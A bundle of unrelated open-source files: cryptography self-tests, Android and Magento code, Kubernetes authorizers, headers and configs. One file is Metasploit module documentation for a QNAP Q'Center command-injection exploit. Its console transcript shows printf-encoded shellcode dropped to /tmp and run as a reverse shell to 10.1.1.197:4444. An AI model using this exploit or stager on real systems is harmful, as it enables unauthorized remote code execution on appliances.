}, { 0x80,0x00,0x00,0x00,0x00,0x00,0x00,0x00 } }, { { 0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01, 0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01, 0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01 }, { 0x9D,0x64,0x55,0x5A,0x9A,0x10,0xB8,0x52, }, { 0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x00 } }, { { 0x38,0x49,0x67,0x4C,0x26,0x02,0x31,0x9E, 0x38,0x49,0x67,0x4C,0x26,0x02,0x31,0x9E, 0x38,0x49,0x67,0x4C,0x26,0x02,0x31,0x9E }, { 0x51,0x45,0x4B,0x58,0x2D,0xDF,0x44,0x0A }, { 0x71,0x78,0x87,0x6E,0x01,0xF1,0x9B,0x2A } }, { { 0x04,0xB9,0x15,0xBA,0x43,0xFE,0xB5,0xB6, 0x04,0xB9,0x15,0xBA,0x43,0xFE,0xB5,0xB6, 0x04,0xB9,0x15,0xBA,0x43,0xFE,0xB5,0xB6 }, { 0x42,0xFD,0x44,0x30,0x59,0x57,0x7F,0xA2 }, { 0xAF,0x37,0xFB,0x42,0x1F,0x8C,0x40,0x95 } }, { { 0x01,0x23,0x45,0x67,0x89,0xAB,0xCD,0xEF, 0x01,0x23,0x45,0x67,0x89,0xAB,0xCD,0xEF, 0x01,0x23,0x45,0x67,0x89,0xAB,0xCD,0xEF }, { 0x73,0x6F,0x6D,0x65,0x64,0x61,0x74,0x61 }, { 0x3D,0x12,0x4F,0xE2,0x19,0x8B,0xA3,0x18 } }, { { 0x01,0x23,0x45,0x67,0x89,0xAB,0xCD,0xEF, 0x55,0x55,0x55,0x55,0x55,0x55,0x55,0x55, 0x01,0x23,0x45,0x67,0x89,0xAB,0xCD,0xEF }, { 0x73,0x6F,0x6D,0x65,0x64,0x61,0x74,0x61 }, { 0xFB,0xAB,0xA1,0xFF,0x9D,0x05,0xE9,0xB1 } }, { { 0x01,0x23,0x45,0x67,0x89,0xAB,0xCD,0xEF, 0x55,0x55,0x55,0x55,0x55,0x55,0x55,0x55, 0xFE,0xDC,0xBA,0x98,0x76,0x54,0x32,0x10 }, { 0x73,0x6F,0x6D,0x65,0x64,0x61,0x74,0x61 }, { 0x18,0xd7,0x48,0xe5,0x63,0x62,0x05,0x72 } }, { { 0x03,0x52,0x02,0x07,0x67,0x20,0x82,0x17, 0x86,0x02,0x87,0x66,0x59,0x08,0x21,0x98, 0x64,0x05,0x6A,0xBD,0xFE,0xA9,0x34,0x57 }, { 0x73,0x71,0x75,0x69,0x67,0x67,0x6C,0x65 }, { 0xc0,0x7d,0x2a,0x0f,0xa5,0x66,0xfa,0x30 } }, { { 0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01, 0x80,0x01,0x01,0x01,0x01,0x01,0x01,0x01, 0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x02 }, { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 }, { 0xe6,0xe6,0xdd,0x5b,0x7e,0x72,0x29,0x74 } }, { { 0x10,0x46,0x10,0x34,0x89,0x98,0x80,0x20, 0x91,0x07,0xD0,0x15,0x89,0x19,0x01,0x01, 0x19,0x07,0x92,0x10,0x98,0x1A,0x01,0x01 }, { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 }, { 0xe1,0xef,0x62,0xc3,0x32,0xfe,0x82,0x5b } } }; byte result[8]; int i; tripledes_ctx des3; for (i=0; i<sizeof(testdata)/sizeof(*testdata); ++i) { tripledes_set3keys (des3, testdata[i].key, testdata[i].key + 8, testdata[i].key + 16); tripledes_ecb_encrypt (des3, testdata[i].plain, result); if (memcmp (testdata[i].cipher, result, 8)) return "Triple-DES SSLeay test failed on encryption."; tripledes_ecb_decrypt (des3, testdata[i].cipher, result); if (memcmp (testdata[i].plain, result, 8)) return "Triple-DES SSLeay test failed on decryption.";; } } /* * Check the weak key detection. We simply assume that the table * with weak keys is ok and check every key in the table if it is * detected... (This test is a little bit stupid). */ { int i; unsigned char *p; gcry_md_hd_t h; if (_gcry_md_open (&h, GCRY_MD_SHA1, 0)) return "SHA1 not available"; for (i = 0; i < 64; ++i) _gcry_md_write (h, weak_keys[i], 8); p = _gcry_md_read (h, GCRY_MD_SHA1); i = memcmp (p, weak_keys_chksum, 20); _gcry_md_close (h); if (i) return "weak key table defect"; for (i = 0; i < 64; ++i) if (!is_weak_key(weak_keys[i])) return "DES weak key detection failed"; } return 0; } static gcry_err_code_t do_tripledes_setkey ( void *context, const byte *key, unsigned keylen ) { struct _tripledes_ctx *ctx = (struct _tripledes_ctx *) context; if( keylen != 24 ) return GPG_ERR_INV_KEYLEN; tripledes_set3keys ( ctx, key, key+8, key+16); if (ctx->flags.no_weak_key) ; /* Detection has been disabled. */ else if (is_weak_key (key) || is_weak_key (key+8) || is_weak_key (key+16)) { _gcry_burn_stack (64); return GPG_ERR_WEAK_KEY; } _gcry_burn_stack (64); return GPG_ERR_NO_ERROR; } static gcry_err_code_t do_tripledes_set_extra_info (void *context, int what, const void *buffer, size_t buflen) { struct _tripledes_ctx *ctx = (struct _tripledes_ctx *)context; gpg_err_code_t ec = 0; (void)buffer; (void)buflen; switch (what) { case CIPHER_INFO_NO_WEAK_KEY: ctx->flags.no_weak_key = 1; break; default: ec = GPG_ERR_INV_OP; break; } return ec; } static void do_tripledes_encrypt( void *context, byte *outbuf, const byte *inbuf ) { struct _tripledes_ctx *ctx = (struct _tripledes_ctx *) context; tripledes_ecb_encrypt ( ctx, inbuf, outbuf ); _gcry_burn_stack (32); } static void do_tripledes_decrypt( void *context, byte *outbuf, const byte *inbuf ) { struct _tripledes_ctx *ctx = (struct _tripledes_ctx *) context; tripledes_ecb_decrypt ( ctx, inbuf, outbuf ); _gcry_burn_stack (32); } static gcry_err_code_t do_des_setkey (void *context, const byte *key, unsigned keylen) { struct _des_ctx *ctx = (struct _des_ctx *) context; if (keylen != 8) return GPG_ERR_INV_KEYLEN; des_setkey (ctx, key); if (is_weak_key (key)) { _gcry_burn_stack (64); return GPG_ERR_WEAK_KEY; } _gcry_burn_stack (64); return GPG_ERR_NO_ERROR; } static void do_des_encrypt( void *context, byte *outbuf, const byte *inbuf ) { struct _des_ctx *ctx = (struct _des_ctx *) context; des_ecb_encrypt ( ctx, inbuf, outbuf ); _gcry_burn_stack (32); } static void do_des_decrypt( void *context, byte *outbuf, const byte *inbuf ) { struct _des_ctx *ctx = (struct _des_ctx *) context; des_ecb_decrypt ( ctx, inbuf, outbuf ); _gcry_burn_stack (32); } /* Self-test section. */ /* Selftest for TripleDES. */ static gpg_err_code_t selftest_fips (int extended, selftest_report_func_t report) { const char *what; const char *errtxt; (void)extended; /* No extended tests available. */ what = "low-level"; errtxt = selftest (); if (errtxt) goto failed; /* The low-level self-tests are quite extensive and thus we can do without high level tests. This is also justified because we have no custom block code implementation for 3des but always use the standard high level block code. */ return 0; /* Succeeded. */ failed: if (report) report ("cipher", GCRY_CIPHER_3DES, what, errtxt); return GPG_ERR_SELFTEST_FAILED; } /* Run a full self-test for ALGO and return 0 on success. */ static gpg_err_code_t run_selftests (int algo, int extended, selftest_report_func_t report) { gpg_err_code_t ec; switch (algo) { case GCRY_CIPHER_3DES: ec = selftest_fips (extended, report); break; default: ec = GPG_ERR_CIPHER_ALGO; break; } return ec; } gcry_cipher_spec_t _gcry_cipher_spec_des = { "DES", NULL, NULL, 8, 64, sizeof (struct _des_ctx), do_des_setkey, do_des_encrypt, do_des_decrypt }; static gcry_cipher_oid_spec_t oids_tripledes[] = { { "1.2.840.113549.3.7", GCRY_CIPHER_MODE_CBC }, /* Teletrust specific OID for 3DES. */ { "1.3.36.3.1.3.2.1", GCRY_CIPHER_MODE_CBC }, /* pbeWithSHAAnd3_KeyTripleDES_CBC */ { "1.2.840.113549.1.12.1.3", GCRY_CIPHER_MODE_CBC }, { NULL } }; gcry_cipher_spec_t _gcry_cipher_spec_tripledes = { "3DES", NULL, oids_tripledes, 8, 192, sizeof (struct _tripledes_ctx), do_tripledes_setkey, do_tripledes_encrypt, do_tripledes_decrypt }; cipher_extra_spec_t _gcry_cipher_extraspec_tripledes = { run_selftests, do_tripledes_set_extra_info };
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="utf-8"?> <resources> <item type="id" name="viewpager" /> </resources>
{ "pile_set_name": "Github" }
<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Framework\App; use Magento\Framework\ObjectManagerInterface; class ScopeResolver implements ScopeResolverInterface { /** * @var \Magento\Store\Model\StoreManagerInterface */ protected $objectManager; /** * @var ScopeInterface */ private $defaultScope; /** * ScopeResolver constructor * * @param ObjectManagerInterface $objectManager */ public function __construct(ObjectManagerInterface $objectManager) { $this->objectManager = $objectManager; } /** * {@inheritdoc} * @return ScopeDefault */ public function getScope($scopeId = null) { if (!$this->defaultScope) { $this->defaultScope = $this->objectManager->create(ScopeDefault::class); } return $this->defaultScope; } /** * Retrieve a list of available scopes * * @return ScopeInterface[] */ public function getScopes() { return [$this->defaultScope]; } }
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="utf-8"?> <!-- Copyright 2014 The Android Open Source Project Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. --> <ripple xmlns:android="http://schemas.android.com/apk/res/android" android:color="@color/card_action_positive_ripple"> <item android:drawable="@color/card_action_item_bg" /> </ripple>
{ "pile_set_name": "Github" }
/********************************************************************** * LeechCraft - modular cross-platform feature rich internet client. * Copyright (C) 2006-2014 Georg Rudoy * * Distributed under the Boost Software License, Version 1.0. * (See accompanying file LICENSE or copy at https://www.boost.org/LICENSE_1_0.txt) **********************************************************************/ #pragma once #include <memory> #include <QObject> namespace LC { namespace Loaders { class SOPluginLoader; } namespace DBus { class Server : public QObject { Q_OBJECT Q_CLASSINFO ("D-Bus Interface", "org.LeechCraft.Control") std::shared_ptr<Loaders::SOPluginLoader> Loader_; public: Server (); Q_INVOKABLE bool Load (const QString& path); Q_INVOKABLE bool Unload (const QString& path); Q_INVOKABLE void SetLcIconsPaths (const QStringList&); }; } }
{ "pile_set_name": "Github" }
/*============================================================================= Copyright (c) 2001-2011 Joel de Guzman Distributed under the Boost Software License, Version 1.0. (See accompanying file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt) This is an auto-generated file. Do not edit! ==============================================================================*/ namespace boost { namespace fusion { struct void_; struct set_tag; struct set_iterator_tag; template < typename T0 = void_ , typename T1 = void_ , typename T2 = void_ , typename T3 = void_ , typename T4 = void_ , typename T5 = void_ , typename T6 = void_ , typename T7 = void_ , typename T8 = void_ , typename T9 = void_ > struct set; }}
{ "pile_set_name": "Github" }
/* Copyright (c) 2007-2015 Contributors as noted in the AUTHORS file This file is part of libzmq, the ZeroMQ core engine in C++. libzmq is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License (LGPL) as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version. As a special exception, the Contributors give you permission to link this library with independent modules to produce an executable, regardless of the license terms of these independent modules, and to copy and distribute the resulting executable under terms of your choice, provided that you also meet, for each linked independent module, the terms and conditions of the license of that module. An independent module is a module which is not derived from or based on this library. If you modify this library, you must extend this exception to your version of the library. libzmq is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. */ #ifndef __ZMQ_TIPC_LISTENER_HPP_INCLUDED__ #define __ZMQ_TIPC_LISTENER_HPP_INCLUDED__ #include "platform.hpp" #if defined ZMQ_HAVE_TIPC #include <string> #include "fd.hpp" #include "own.hpp" #include "stdint.hpp" #include "io_object.hpp" #include "tipc_address.hpp" namespace zmq { class io_thread_t; class socket_base_t; class tipc_listener_t : public own_t, public io_object_t { public: tipc_listener_t (zmq::io_thread_t *io_thread_, zmq::socket_base_t *socket_, const options_t &options_); ~tipc_listener_t (); // Set address to listen on. int set_address (const char *addr_); // Get the bound address for use with wildcards int get_address (std::string &addr_); private: // Handlers for incoming commands. void process_plug (); void process_term (int linger_); // Handlers for I/O events. void in_event (); // Close the listening socket. void close (); // Accept the new connection. Returns the file descriptor of the // newly created connection. The function may return retired_fd // if the connection was dropped while waiting in the listen backlog. fd_t accept (); // Address to listen on tipc_address_t address; // Underlying socket. fd_t s; // Handle corresponding to the listening socket. handle_t handle; // Socket the listerner belongs to. zmq::socket_base_t *socket; // String representation of endpoint to bind to std::string endpoint; tipc_listener_t (const tipc_listener_t&); const tipc_listener_t &operator = (const tipc_listener_t&); }; } #endif #endif
{ "pile_set_name": "Github" }
#region License /* Copyright (c) 2010-2014 Danko Kozar Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ #endregion License using eDriven.Core.Geom; using eDriven.Core.Util; using UnityEngine; using Event=UnityEngine.Event; namespace eDriven.Core.Managers { /// <summary> /// Processes mouse position changes /// </summary> internal class MousePositionProcessor : UnityEventProcessorBase { #if DEBUG public static bool DebugMode; #endif private readonly Point _mousePosition = new Point(); private Vector3 _rawMousePosition; private Vector3 _coords; public MousePositionProcessor(SystemManager systemManager) { SystemManager = systemManager; } /// <summary> /// Note: e is null because MouseMoveProcessor doesn't deal with Event.current! (not inside of the OnGUI) /// </summary> /// <param name="e"></param> public override void Process(Event e) { #if DEBUG if (DebugMode) Debug.Log("MousePositionProcessor.Process"); #endif Vector3 pos = Input.mousePosition; if (_rawMousePosition.x != pos.x || _rawMousePosition.y != pos.y) { _coords = StageUtil.FlipY(pos); _mousePosition.X = _coords.x; _mousePosition.Y = _coords.y; #if DEBUG if (DebugMode) //Debug.Log("Input.mousePosition: " + Input.mousePosition + "; _rawMousePosition: " + _rawMousePosition + "; GlobalPosition:" + _coords); Debug.Log("mouse: GlobalPosition:" + _mousePosition); #endif // propagate position to system manager SystemManager.MousePosition.X = _mousePosition.X; SystemManager.MousePosition.Y = _mousePosition.Y; _rawMousePosition = pos; //Debug.Log(" -> _rawMousePosition:" + _rawMousePosition); if (SystemManager.Instance.MouseMoveSignal.Connected) SystemManager.Instance.MouseMoveSignal.Emit(null, _mousePosition.Clone()); } } } }
{ "pile_set_name": "Github" }
#!/bin/bash # # Copyright (c) 2011 Bryan Schumaker <[email protected]> # # Script for easier NFSD fault injection # Check that debugfs has been mounted DEBUGFS=`cat /proc/mounts | grep debugfs` if [ "$DEBUGFS" == "" ]; then echo "debugfs does not appear to be mounted!" echo "Please mount debugfs and try again" exit 1 fi # Check that the fault injection directory exists DEBUGDIR=`echo $DEBUGFS | awk '{print $2}'`/nfsd if [ ! -d "$DEBUGDIR" ]; then echo "$DEBUGDIR does not exist" echo "Check that your .config selects CONFIG_NFSD_FAULT_INJECTION" exit 1 fi function help() { echo "Usage $0 injection_type [count]" echo "" echo "Injection types are:" ls $DEBUGDIR exit 1 } if [ $# == 0 ]; then help elif [ ! -f $DEBUGDIR/$1 ]; then help elif [ $# != 2 ]; then COUNT=0 else COUNT=$2 fi BEFORE=`mktemp` AFTER=`mktemp` dmesg > $BEFORE echo $COUNT > $DEBUGDIR/$1 dmesg > $AFTER # Capture lines that only exist in the $AFTER file diff $BEFORE $AFTER | grep ">" rm -f $BEFORE $AFTER
{ "pile_set_name": "Github" }
/* * Anarres C Preprocessor * Copyright (c) 2007-2008, Shevek * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express * or implied. See the License for the specific language governing * permissions and limitations under the License. */ package org.anarres.cpp; import java.io.BufferedReader; import java.io.File; import java.io.FileReader; import java.io.IOException; import java.util.List; import java.util.Iterator; import static org.anarres.cpp.Token.*; /** * A {@link Source} which lexes a file. * * The input is buffered. * * @see Source */ public class FileLexerSource extends LexerSource { // private File file; private String path; /** * Creates a new Source for lexing the given File. * * Preprocessor directives are honoured within the file. */ public FileLexerSource(File file, String path) throws IOException { super( new BufferedReader( new DeferredFileReader( file ) ), true ); // this.file = file; this.path = path; } public FileLexerSource(File file) throws IOException { this(file, file.getPath()); } public FileLexerSource(String path) throws IOException { this(new File(path)); } @Override /* pp */ public String getPath() { return path; } @Override /* pp */ String getName() { return getPath(); } public String toString() { return "file " + path; } }
{ "pile_set_name": "Github" }
// call something on iterator step with safe closing on error var anObject = require('./$.an-object'); module.exports = function(iterator, fn, value, entries){ try { return entries ? fn(anObject(value)[0], value[1]) : fn(value); // 7.4.6 IteratorClose(iterator, completion) } catch(e){ var ret = iterator['return']; if(ret !== undefined)anObject(ret.call(iterator)); throw e; } };
{ "pile_set_name": "Github" }
/* Copyright 2016 The Kubernetes Authors. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package authorizer import ( "fmt" "time" "k8s.io/apiserver/pkg/authorization/authorizer" "k8s.io/apiserver/pkg/authorization/authorizerfactory" "k8s.io/apiserver/pkg/authorization/union" "k8s.io/apiserver/plugin/pkg/authorizer/webhook" versionedinformers "k8s.io/client-go/informers" "k8s.io/kubernetes/pkg/auth/authorizer/abac" "k8s.io/kubernetes/pkg/auth/nodeidentifier" informers "k8s.io/kubernetes/pkg/client/informers/informers_generated/internalversion" "k8s.io/kubernetes/pkg/kubeapiserver/authorizer/modes" "k8s.io/kubernetes/plugin/pkg/auth/authorizer/node" "k8s.io/kubernetes/plugin/pkg/auth/authorizer/rbac" "k8s.io/kubernetes/plugin/pkg/auth/authorizer/rbac/bootstrappolicy" ) type AuthorizationConfig struct { AuthorizationModes []string // Options for ModeABAC // Path to an ABAC policy file. PolicyFile string // Options for ModeWebhook // Kubeconfig file for Webhook authorization plugin. WebhookConfigFile string // TTL for caching of authorized responses from the webhook server. WebhookCacheAuthorizedTTL time.Duration // TTL for caching of unauthorized responses from the webhook server. WebhookCacheUnauthorizedTTL time.Duration InformerFactory informers.SharedInformerFactory VersionedInformerFactory versionedinformers.SharedInformerFactory } // New returns the right sort of union of multiple authorizer.Authorizer objects // based on the authorizationMode or an error. func (config AuthorizationConfig) New() (authorizer.Authorizer, authorizer.RuleResolver, error) { if len(config.AuthorizationModes) == 0 { return nil, nil, fmt.Errorf("at least one authorization mode must be passed") } var ( authorizers []authorizer.Authorizer ruleResolvers []authorizer.RuleResolver ) for _, authorizationMode := range config.AuthorizationModes { // Keep cases in sync with constant list in k8s.io/kubernetes/pkg/kubeapiserver/authorizer/modes/modes.go. switch authorizationMode { case modes.ModeNode: graph := node.NewGraph() node.AddGraphEventHandlers( graph, config.InformerFactory.Core().InternalVersion().Nodes(), config.InformerFactory.Core().InternalVersion().Pods(), config.InformerFactory.Core().InternalVersion().PersistentVolumes(), config.VersionedInformerFactory.Storage().V1beta1().VolumeAttachments(), ) nodeAuthorizer := node.NewAuthorizer(graph, nodeidentifier.NewDefaultNodeIdentifier(), bootstrappolicy.NodeRules()) authorizers = append(authorizers, nodeAuthorizer) case modes.ModeAlwaysAllow: alwaysAllowAuthorizer := authorizerfactory.NewAlwaysAllowAuthorizer() authorizers = append(authorizers, alwaysAllowAuthorizer) ruleResolvers = append(ruleResolvers, alwaysAllowAuthorizer) case modes.ModeAlwaysDeny: alwaysDenyAuthorizer := authorizerfactory.NewAlwaysDenyAuthorizer() authorizers = append(authorizers, alwaysDenyAuthorizer) ruleResolvers = append(ruleResolvers, alwaysDenyAuthorizer) case modes.ModeABAC: abacAuthorizer, err := abac.NewFromFile(config.PolicyFile) if err != nil { return nil, nil, err } authorizers = append(authorizers, abacAuthorizer) ruleResolvers = append(ruleResolvers, abacAuthorizer) case modes.ModeWebhook: webhookAuthorizer, err := webhook.New(config.WebhookConfigFile, config.WebhookCacheAuthorizedTTL, config.WebhookCacheUnauthorizedTTL) if err != nil { return nil, nil, err } authorizers = append(authorizers, webhookAuthorizer) ruleResolvers = append(ruleResolvers, webhookAuthorizer) case modes.ModeRBAC: rbacAuthorizer := rbac.New( &rbac.RoleGetter{Lister: config.InformerFactory.Rbac().InternalVersion().Roles().Lister()}, &rbac.RoleBindingLister{Lister: config.InformerFactory.Rbac().InternalVersion().RoleBindings().Lister()}, &rbac.ClusterRoleGetter{Lister: config.InformerFactory.Rbac().InternalVersion().ClusterRoles().Lister()}, &rbac.ClusterRoleBindingLister{Lister: config.InformerFactory.Rbac().InternalVersion().ClusterRoleBindings().Lister()}, ) authorizers = append(authorizers, rbacAuthorizer) ruleResolvers = append(ruleResolvers, rbacAuthorizer) default: return nil, nil, fmt.Errorf("unknown authorization mode %s specified", authorizationMode) } } return union.New(authorizers...), union.NewRuleResolvers(ruleResolvers...), nil }
{ "pile_set_name": "Github" }
<http://me.markus-lanthaler.com/> <http://xmlns.com/foaf/0.1/name> "Markus Lanthaler" .
{ "pile_set_name": "Github" }
/** * @license * Copyright Google Inc. All Rights Reserved. * * Use of this source code is governed by an MIT-style license that can be * found in the LICENSE file at https://angular.io/license */ // THIS CODE IS GENERATED - DO NOT MODIFY // See angular/tools/gulp-tasks/cldr/extract.js export default [ [ ['saa sita za usiku', 'saa sita za mchana', 'alfajiri', 'asubuhi', 'mchana', 'jioni', 'usiku'], , ], , [ '00:00', '12:00', ['04:00', '07:00'], ['07:00', '12:00'], ['12:00', '16:00'], ['16:00', '19:00'], ['19:00', '04:00'] ] ]; //# sourceMappingURL=sw-KE.js.map
{ "pile_set_name": "Github" }
## Description This module exploits a command injection vulnerability in the `change_passwd` API method within the web interface of QNAP Q'Center virtual appliance versions prior to 1.7.1083. The vulnerability allows the `admin` privileged user account to execute arbitrary commands as the `admin` operating system user. Valid credentials for the `admin` user account are required, however, this module also exploits a separate password disclosure issue which allows any authenticated user to view the password set for the `admin` user during first install. ## Vulnerable Application [QNAP Q'Center](https://www.qnap.com/solution/qcenter/index.php) is a central management platform that enables you to consolidate the management of multiple QNAP NAS devices. This module has been tested successfully on QNAP Q'Center appliance version 1.6.1075. ## Verification Steps 1. Start `msfconsole` 2. `use exploit/linux/http/qnap_qcenter_change_passwd_exec` 3. `set RHOSTS <IP>` 4. `set USERNAME <USERNAME>` (default: `admin`) 5. `set PASSWORD <PASSWORD>` (default: `admin`) 6. `run` 7. You should get a session ## Options **USERNAME** Username for the application. (default: `admin`) **PASSWORD** Password for the application. (default: `admin`) ## Scenarios ``` msf5 > use exploit/linux/http/qnap_qcenter_change_passwd_exec msf5 exploit(linux/http/qnap_qcenter_change_passwd_exec) > set rhosts 10.1.1.112 rhosts => 10.1.1.112 msf5 exploit(linux/http/qnap_qcenter_change_passwd_exec) > set verbose true verbose => true msf5 exploit(linux/http/qnap_qcenter_change_passwd_exec) > check [*] Target is QNAP Q'Center appliance version 1.6.1075 [*] 10.1.1.112:443 The target appears to be vulnerable. msf5 exploit(linux/http/qnap_qcenter_change_passwd_exec) > run [*] Started reverse TCP handler on 10.1.1.197:4444 [*] Target is QNAP Q'Center appliance version 1.6.1075 [+] Authenticated as user 'admin' successfully [*] Sending payload ... [*] Generated command stager: ["printf '\\177\\105\\114\\106\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\2\\0\\3\\0\\1\\0\\0\\0\\124\\200\\4\\10\\64\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\64\\0\\40\\0\\1\\0\\0\\0\\0\\0\\0\\0\\1\\0\\0\\0\\0\\0\\0\\0\\0\\200\\4\\10\\0\\200\\4\\10\\317\\0\\0\\0\\112\\1\\0\\0\\7\\0\\0\\0\\0\\20\\0\\0\\152\\12\\136\\61\\333\\367\\343\\123\\103\\123\\152\\2\\260\\146\\211\\341\\315\\200\\227\\133\\150\\12\\1\\1\\305\\150\\2\\0\\21\\134\\211\\341\\152\\146\\130\\120\\121\\127\\211\\341\\103\\315\\200\\205\\300\\171\\31\\116\\164\\75\\150\\242\\0\\0\\0\\130\\152\\0\\152\\5\\211\\343\\61\\311\\315\\200\\205\\300\\171\\275\\353\\47\\262\\7\\271\\0\\20\\0\\0\\211\\343\\301\\353\\14\\301\\343\\14\\260\\175\\315\\200\\205\\300\\170\\20\\133\\211\\341\\231\\266\\14\\260\\3\\315\\200\\205\\300\\170\\2\\377\\341\\270\\1\\0\\0\\0\\273\\1\\0\\0\\0\\315\\200'>>/tmp/ivFxR ; chmod +x /tmp/ivFxR ; /tmp/ivFxR ; rm -f /tmp/ivFxR"] [*] Transmitting intermediate stager...(106 bytes) [*] Sending stage (861480 bytes) to 10.1.1.112 [*] Command Stager progress - 100.00% done (701/701 bytes) meterpreter > getuid Server username: uid=1001, gid=1001, euid=1001, egid=1001 meterpreter > sysinfo Computer : 10.1.1.112 OS : Ubuntu 14.04 (Linux 3.13.0-32-generic) Architecture : x64 BuildTuple : i486-linux-musl Meterpreter : x86/linux meterpreter > ```
{ "pile_set_name": "Github" }
// // Generated by class-dump 3.5 (64 bit) (Debug version compiled Oct 25 2017 03:49:04). // // class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2015 by Steve Nygard. // #import <AppKit/NSWindow.h> @class TBrowserWindowController; @interface TBrowserWindow : NSWindow { _Bool _closing; double _animationResizeTimeOverride; shared_ptr_3b64c573 _spawnOrigin; } @property(nonatomic) shared_ptr_3b64c573 spawnOrigin; // @synthesize spawnOrigin=_spawnOrigin; @property(nonatomic) double animationResizeTimeOverride; // @synthesize animationResizeTimeOverride=_animationResizeTimeOverride; @property(nonatomic) _Bool closing; // @synthesize closing=_closing; - (id).cxx_construct; - (void).cxx_destruct; - (void)closeWithoutAnimation; - (void)close; - (void)makeKeyAndOrderFrontWithoutAnimation:(id)arg1; - (void)makeKeyAndOrderFront:(id)arg1; - (BOOL)_shouldUseTexturedAppearanceForSegmentedCellInView:(id)arg1; - (id)validRequestorForSendType:(id)arg1 returnType:(id)arg2; - (_Bool)validateToggleFullScreen:(id)arg1; - (struct CGRect)constrainFrameRect:(struct CGRect)arg1 toScreen:(id)arg2; - (void)toggleToolbarShown:(id)arg1; - (double)animationResizeTime:(struct CGRect)arg1; - (void)redo:(id)arg1; - (void)undo:(id)arg1; - (BOOL)validateMenuItem:(id)arg1; - (BOOL)makeFirstResponder:(id)arg1; - (BOOL)performKeyEquivalent:(id)arg1; - (void)keyDown:(id)arg1; - (BOOL)acceptsFirstResponder; - (BOOL)_hasActiveAppearance; - (BOOL)_hasMainAppearance; - (BOOL)_hasActiveControls; - (BOOL)_hasActiveAppearanceIgnoringKeyFocus; - (BOOL)_hasKeyAppearance; - (void)disableScreenUpdatesUntilFlush; @property(readonly, nonatomic) __weak TBrowserWindowController *browserWindowController; // @dynamic browserWindowController; - (id)container; - (void)_enterFullScreenMode:(id)arg1 animating:(_Bool)arg2 activating:(_Bool)arg3; @end
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="UTF-8" standalone="no"?> <domain> <!-- Example of a dialogue domain for a flight-booking system specified in probabilistic rules. The system enables the user to book (single or round-trip) flight tickets between Norwegian airports. The dialogue domain shows how to implement a basic slot-filling system. The domain still remains quite rudimentary (e.g. there is currently no possibility to fill several slots at once or "backtrack" to change a previous slot), but it demonstrates how to specify all the parts of the dialogue system, from natural language understanding to dialogue management and generation. --> <initialstate> <!-- Starting prompt --> <variable id="u_m"> <value>Welcome to our Norwegian flight-booking system!</value> </variable> <!-- We start the dialogue by asking for the destination --> <variable id="current_step"> <value>Destination</value> </variable> </initialstate> <!-- Natural language understanding models --> <import href="example-flightbooking_nlu.xml"/> <!-- Dialogue management models (action selection and transition) --> <import href="example-flightbooking_dm.xml"/> <!-- Natural language generation models --> <import href="example-flightbooking_nlg.xml"/> <!-- External module showing how to interface the dialogue system with an external database (used here to find the ticket prices and "book" the tickets) --> <settings> <modules>opendial.modules.examples.FlightBookingExample</modules> </settings> </domain>
{ "pile_set_name": "Github" }
